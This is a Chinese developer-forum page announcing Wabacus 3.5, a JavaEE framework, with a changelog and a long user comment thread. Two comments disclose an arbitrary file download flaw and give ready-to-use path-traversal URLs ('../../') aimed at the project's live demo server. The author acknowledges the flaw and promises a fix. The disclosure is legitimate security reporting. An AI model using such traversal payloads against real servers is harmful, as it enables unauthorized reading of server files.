阅读更多
JavaEE 快速开发框架 Wabacus 3.5 版已发布,通过该框架,开发者的代码量可以减少60%以上,开发效率提高5倍以上。

框架地址:http://code.google.com/p/wabacus
论坛地址:http://wabacus.btedu.gov.cn/
Wabacus作者专访:http://www.iteye.com/magazines/91

3.5版本主要功能变更列表:

  • 输入框改进,包括:
  •           1) <inputbox/>标签支持description属性,用于配置显示在输入框后面的描述信息
              2) <inputbox/> 的styleproperty属性支持[overwrite]style和(overwrite)style两种格式,分别表示两种覆盖系统内置的样式字符串的方式
              3) checkbox/radiobox两种输入框支持inlinecount属性,可以指定每行显示的选项个数,超过将自动分行显示
              4) 支持复选下拉框
              5) 下拉框依赖时不光可以依赖下拉框,还可以依赖任意类型的输入框,一个输入框可以被多个下拉框依赖,一个下拉框也可以依赖多个输入框。

  • 支持表单数据自动填充功能,即在一个表单输入框中输入数据后,其它输入框可以从数据库中取相应数据进行自动填充
  • 文件上传输入框和文件上传标签支持拦截器,可以在其中控制文件上传以及取到被上传文件的信息,还可以控制文件上传界面的显示。
  • <sql/>标签支持beforesearch属性,用于指定查询数据前置动作,开发人员可以在此控制查询条件值以或中止查询操作
  • 表格树的inistate属性废除,新增treexpandlayer属性,用于指定第一次访问时,自动展开的层数,从0开始,如果配置为-1,则展开所有层
  • <delete/>标签支持confirmessage属性,用于指定删除报表数据时确认提示信息,可以在其中指定动态提示值,比如提示信息中包含某列的值。
  • 在wabacus.cfg.xml的<report-files/>和<resource-files/>中注册报表配置文件和资源文件时,支持正则表达式模式匹配,不需逐个配置文件注册。
  • 支持Postgresql数据库,dbtype类为com.wabacus.config.database.type.Postgresql(由水晶峰朋友贡献)
  • 所有弹出窗口(包括弹出窗口输入框、文件上传输入框、editablelist报表类型的弹出编辑框等等)都支持弹出界面大小的灵活控制,比如指定显示大小、是否初始为最大化或最小化显示、是否显示“最大化”、“最小化”窗口的按钮等等。
  • 一些其它细节上的改进与优化,比如:优化了列过滤的显示效果、在服务器端提供了页面跳转的接口方法、解决了报表在IE6浏览器中有时候显示效果不好看的问题等等。
  • 修正了一些用户使用过程中发现的BUG。

[非常感谢哈尔滨工程大学唐滨博士、太极老师,江苏无锡吉中生智朋友贡献论坛和DEMO演示服务器]
14
4
评论 共 48 条 请登录后发表评论
48 楼 349446658 2012-10-18 17:06
zhuchao_ko 写道
感觉又是一个快餐,没有好文档 没有好DEMO 。。风险忒大 不敢用

你说错了,应该是你没有好心态,没有很细心,然后就急着下结论,呵。
下载release包稍微看一下就能发现有丰富的文档的,包括《开发指南一》《开发指南二》、《标签手册》、《常用接口方法》等等,加起来都快上千页的文档了。
DEMO更是非常丰富,基本上方方面面都演示到了。

47 楼 zhuchao_ko 2012-10-18 16:44
感觉又是一个快餐,没有好文档 没有好DEMO 。。风险忒大 不敢用
46 楼 cuiyushan3 2012-10-15 12:31
rainv 写道
zhukewen_java 写道
如果不能说明“60%以上,开发效率提高5倍以上"是怎么算的,那不管怎样都是标题党了。
国内整整框架是好事,但你别乱说是开源。你说开源就开源,但你能不能完全开源?用你的还要收费。
我本来想要用的,我们老板说,用了这个之后,你以前做一个项目的时间,要做出5个项目来。我思考了一下,不敢用了。


又一个不懂技术的老板,这样算开发时间。很多老板觉得1个人开发一款产品两星期,2个人就只需要1星期了。真想抽它,无知的人。


哈哈,
九个人不能让一个孩子在一个月内出生。——Fred Brooks,《人月神话》作者
45 楼 rainv 2012-10-15 12:09
zhukewen_java 写道
如果不能说明“60%以上,开发效率提高5倍以上"是怎么算的,那不管怎样都是标题党了。
国内整整框架是好事,但你别乱说是开源。你说开源就开源,但你能不能完全开源?用你的还要收费。
我本来想要用的,我们老板说,用了这个之后,你以前做一个项目的时间,要做出5个项目来。我思考了一下,不敢用了。


又一个不懂技术的老板,这样算开发时间。很多老板觉得1个人开发一款产品两星期,2个人就只需要1星期了。真想抽它,无知的人。
44 楼 javasunnyboy 2012-10-13 08:59
正在学习中。作者很了不起。
43 楼 Q.B 2012-10-12 12:55
正在维护以前同事用wabacus开发的项目,确实容易上手,支持作者
42 楼 349446658 2012-10-10 14:51
随风_潜入夜 写道
JavaEE快速开发框架Wabacus 3.5发布,开发效率提高5倍以上
任意文件下载漏洞:

serverfilename写你要下载的文件路径,可下载任意文件。
还有JS里面不要写脚本类型验证。

http://wabacus.hrbeu.edu.cn/WabacusDemo/ShowReport.wx?ACTIONTYPE=download&serverfilepath=${filedownloadpage1.downloadfilepath}&serverfilename=../../wabacusdemo/jsp/viewReportConfig.jsp
http://wabacus.hrbeu.edu.cn/WabacusDemo/ShowReport.wx?ACTIONTYPE=download&serverfilepath=${filedownloadpage1.downloadfilepath}&serverfilename=../../index.html

多谢指正,这个地方是有这个安全隐患,serverfilename是用于指定文件名的,不能用来指定文件路径,我在后面版本限制一下。

41 楼 随风_潜入夜 2012-10-10 14:44
JavaEE快速开发框架Wabacus 3.5发布,开发效率提高5倍以上
任意文件下载漏洞:

serverfilename写你要下载的文件路径,可下载任意文件。
还有JS里面不要写脚本类型验证。

http://wabacus.hrbeu.edu.cn/WabacusDemo/ShowReport.wx?ACTIONTYPE=download&serverfilepath=${filedownloadpage1.downloadfilepath}&serverfilename=../../wabacusdemo/jsp/viewReportConfig.jsp



http://wabacus.hrbeu.edu.cn/WabacusDemo/ShowReport.wx?ACTIONTYPE=download&serverfilepath=${filedownloadpage1.downloadfilepath}&serverfilename=../../index.html
40 楼 349446658 2012-10-10 14:41
Jekey 写道
地址是gov.cn,亮了

论坛服务器是政府里面使用wabacus框架的朋友贡献的,所以域名是.gov.cn。
DEMO演示服务器的是高校里面使用wabacus框架的朋友贡献的,所以是.edu.cn。
除了这些贡献服务器的朋友,还有很多全国各地的朋友在各个方面对wabacus的发展做了巨大的贡献,非常感谢他们。
39 楼 Jekey 2012-10-10 14:35
地址是gov.cn,亮了
38 楼 spritesong 2012-10-10 10:46
每当有新版本发布,这里就有一场腥风血雨。不过恰恰说明wabacus越来越受关注了 :lol
支持wabacus!:
37 楼 349446658 2012-10-10 10:22
rubyeye 写道
349446658 写道
lbfhappy 写道
江西南昌进贤,老乡啊,你是进贤哪里的啊,支持一下。

呵呵,现在算深圳人了,在深圳工作生活快十年了,呵。

别忘本啊

,不敢,现在还一两年要回一次老家走走亲戚的。
36 楼 349446658 2012-10-10 10:10
aninfeel 写道
等你们踩完雷再说

呵呵,2.X版本很多“雷”,不过因为wabacus框架的高度可扩展性以及可以与任意框架并存在一个项目中,使用wabacus不方便开发的功能仍然可以采用以前的框架开发,这些“雷”没有对早期使用框架的朋友带来很大麻烦,容易绕过。
进入到3.X版本后,已经没有什么“雷”可踩了,经过几十个项目的反复洗礼,已经非常成熟稳定了。
35 楼 rubyeye 2012-10-10 10:06
349446658 写道
lbfhappy 写道
江西南昌进贤,老乡啊,你是进贤哪里的啊,支持一下。

呵呵,现在算深圳人了,在深圳工作生活快十年了,呵。

别忘本啊
34 楼 aninfeel 2012-10-10 10:05
等你们踩完雷再说
33 楼 chenxun101 2012-10-10 09:51
看上去很不错,mark
32 楼 349446658 2012-10-10 09:10
lbfhappy 写道
江西南昌进贤,老乡啊,你是进贤哪里的啊,支持一下。

呵呵,现在算深圳人了,在深圳工作生活快十年了,呵。
31 楼 lbfhappy 2012-10-10 09:04
江西南昌进贤,老乡啊,你是进贤哪里的啊,支持一下。
30 楼 349446658 2012-10-10 08:51
G631233828 写道
貌似界面有点老。有别的样式吗

框架内置了两套主题风格,你可以新增自己的主题风格,只要你们公司美工比较专业,可以做出符合自己要求的显示效果。而且可以让用户在线切换自己想要的主题风格,并一直为它保存起来。
在《开发指南》文档有介绍如何新增主题风格的。
29 楼 349446658 2012-10-10 08:49
kaki 写道
升级之后问题太多了!

1、    <!-- interceptor>
    <beforedisplay-perrow>
if(rowindex==-1) return null;//标题行
if(rowindex%2==0) return "bgcolor='#E2FCD2'";
return "bgcolor='#FFFFFF'";
</beforedisplay-perrow>
   </interceptor-->

上述代码不能执行了!

2、在配置关联下拉框时,在SQL语句的条件中指定父下拉框时,由之前的#data#占位符改为#parentname#,其中的parentname为depends属性中配置的父下拉框所在列的column(如果是编辑列中的输入框)或所在条件的name(如果是查询条件上的输入框)
不起效果了。

========================================
你说的第一个问题,是因为框架对这一块做了很大的扩展,以前只能简单的返回当前行的显示样式,现在可以返回更丰富的显示内容了,你只要看一下新版DEMO在这一块演示的实现就清楚该如何调整了。
第二个也是因为对这一块做了很大的扩展,以前下拉框只能依赖一个下拉框,现在可以依赖一个或多个任意类型的输入框了。只要参考一下新版DEMO的下拉框关联是如何配置的就知道了。
你连出了这么简单的问题如何解决都不清楚,你对wabacus的掌握程度很是让人怀疑呀,呵,怪不得会有这样那样的问题。

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • 基于GEF和EMF的JavaEE快速开发工具设计

    本文描述了一款基于GEF和EMF技术的JavaEE应用快速开发工具——jStudio,它可以快速、高效地自动生成基于Struts+Spring+Hibernate的JavaEE应用。该工具可以大幅度减少程序开发人员编写重复性代码的工作量,同时可提高...

  • JavaEE 快速开发框架 Wabacus 作者访谈

    JavaEE 快速开发框架 Wabacus 作者访谈

  • JavaEE 快速开发框架 Wabacus

    Wabacus是一个JavaEE快速开发框架,采用面向声明的开发模式,可以不用编程或极少编程即可实现复杂的数据展示、数据编辑、表单处理等功能,将JavaEE的开发效率提高5倍以上,代码减少60%以上。    项目地址:...

  • JavaEE框架应用开发教学课件 工作单元十 任务2 实现菜单新增功能.pdf

    JavaEE框架应用开发教学课件 工作单元十 任务2 实现菜单新增功能.pdfJavaEE框架应用开发教学课件 工作单元十 任务2 实现菜单新增功能.pdfJavaEE框架应用开发教学课件 工作单元十 任务2 实现菜单新增功能.pdfJavaEE...

  • JavaEE 快速开发框架 Wabacus 作者访谈 .

    Wabacus是一个JavaEE快速开发框架,采用面向声明的开发模式,可以不用编程或极少编程即可实现复杂的数据展示、数据编辑、表单处理等功能,将JavaEE的开发效率提高5倍以上,代码减少60%以上。  为了使大家对...

  • EDA/PLD中的基于GEF和EMF的JavaEE快速开发工具设计

    本文描述了一款基于GEF和EMF技术的JavaEE应用快速开发工具——jStudio,它可以快速、高效地自动生成基于Struts+Spring+Hibernate的JavaEE应用。该工具可以大幅度减少程序开发人员编写重复性代码的工作量,同时可提高...

  • JavaEE框架应用开发教学课件 工作单元十 任务3 实现菜单修改功能.pdf

    JavaEE框架应用开发教学课件 工作单元十 任务3 实现菜单修改功能.pdfJavaEE框架应用开发教学课件 工作单元十 任务3 实现菜单修改功能.pdfJavaEE框架应用开发教学课件 工作单元十 任务3 实现菜单修改功能.pdfJavaEE...

  • JavaEE框架应用开发教学课件 工作单元七 任务2 裁剪前端项目结构.pdf

    JavaEE框架应用开发教学课件 工作单元七 任务2 裁剪前端项目结构.pdfJavaEE框架应用开发教学课件 工作单元七 任务2 裁剪前端项目结构.pdfJavaEE框架应用开发教学课件 工作单元七 任务2 裁剪前端项目结构.pdfJavaEE...

  • JavaEE开发四大常用框架(程序员必看-精心整理-免分数).pdf

    JavaEE开发四大常用框架(程序员必看-精心整理-免分数).pdf

  • 基于 JavaEE 的快速开发框架 Tephra-JavaEE

    Tephra旨在构建一个稳定、高效、易于集群、快速扩展的JavaEE开发框架。目前,Tephra已经具备了以下特性: 提供类级别的热更新,但仅建议在需要快速修正严重BUG、并且无法立即进行全更新时使用。 提供全冗余方式的...

  • JavaEE 基础开发框架.zip

    JavaEE 基础开发框架.zip

  • JavaEE应用开发教程课件07HTML5.pdf

    JavaEE应用开发教程课件07HTML5.pdfJavaEE应用开发教程课件07HTML5.pdfJavaEE应用开发教程课件07HTML5.pdfJavaEE应用开发教程课件07HTML5.pdfJavaEE应用开发教程课件07HTML5.pdfJavaEE应用开发教程课件07HTML5.pdf

  • javaEE-ssm框架开发源码

    javaEE ssm框架开发源码

  • JavaEE开发框架Spring4+相关Demo.zip

    JavaEE开发框架Spring4+相关Demo.zip

  • 家庭支出与收入数据数据集,根据人口统计和地理指标进行了分类,加拿大为例,适用于数据分析、机器学习

    这个数据集提供了2010年至2021年间加拿大各省的家庭支出与收入数据,这些数据根据人口统计和地理指标进行了分类。每行代表了年份(REF_DATE)、省份(GEO)以及编码后的支出或收入类型的唯一组合(COORDINATE)。以下是该数据集的关键特点及包含的列信息: 关键特点: 支出数据:家庭支出按照收入五分位数和支出类别进行分类。 收入数据:家庭收入值根据家庭类型、较年长成年人的年龄组别和收入水平细分。 地理位置匿名化:为了保护隐私,原始的地理位置标识符被替换为如“Province 1”这样的标签。 时间序列:涵盖了超过十年的财务数据(2010–2021),适合用于纵向经济和社会趋势分析。 包含的列: REF_DATE:记录年份(2010–2021) GEO:省份标签(例如,“Province 1”) Statistic:度量类型(例如,平均家庭支出) Before-tax household income quintile:税前家庭收入水平分组 Household expenditures, summary-level categories:支出类别 UOM:计量单位 COORD

  • 【锂电池剩余寿命预测】GRU门控循环单元锂电池剩余寿命预测(Matlab完整源码和数据)

    1.【锂电池剩余寿命预测】GRU门控循环单元锂电池剩余寿命预测(Matlab完整源码和数据) 2.数据集:NASA数据集,已经处理好,B0005电池训练、测试; 3.环境准备:Matlab2023b,可读性强; 4.模型描述:GRU门控循环单元在各种各样的问题上表现非常出色,现在被广泛使用。 5.领域描述:近年来,随着锂离子电池的能量密度、功率密度逐渐提升,其安全性能与剩余使用寿命预测变得愈发重要。本代码实现了GRU门控循环单元在该领域的应用。 6.作者介绍:机器学习之心,博客专家认证,机器学习领域创作者,2023博客之星TOP50,主做机器学习和深度学习时序、回归、分类、聚类和降维等程序设计和案例分析,文章底部有博主联系方式。从事Matlab、Python算法仿真工作8年,更多仿真源码、数据集定制私信。

  • 【更新至2024年】2000-2024年各省专利侵权案件结案数数据

    2000-2024年各省专利侵权案件结案数数据 1、时间:2000-2024年 2、来源:国家知识产权J 3、指标:专利侵权案件结案数 4、范围:31省 5、用途:可用于衡量知识产权保护水平

  • HMTL+JS+CSS实现贪吃蛇游戏,包含有一般模式,困难模式,还有无敌模式

    - 使用`<div>` 容器组织游戏界面,包含得分显示、游戏画布和操作按钮 - 支持三种游戏模式选择(一般模式、困难模式、无敌模式) - 移动端和桌面端兼容,提供触摸和键盘两种控制方式 2. CSS样式 : - 采用Flex布局实现页面居中显示 - 使用Grid布局实现方向按钮的排列 - 定义了游戏容器的阴影、圆角等视觉效果 - 为按钮添加了hover效果和过渡动画 3. JavaScript逻辑 : - 使用Canvas API实现游戏渲染 - 实现了蛇的移动、食物生成、碰撞检测等核心游戏逻辑 - 支持三种游戏模式,不同模式对应不同的游戏速度和规则 - 使用localStorage保存最高分记录 - 实现随机颜色生成,使游戏更具趣味性 代码整体结构清晰,功能完整,具有良好的可扩展性和可维护性。

  • 附件2-5:台区智能融合终端入网专业检测送检样品主要元器件清单.docx

    台区终端电科院送检文档

Global site tag (gtag.js) - Google Analytics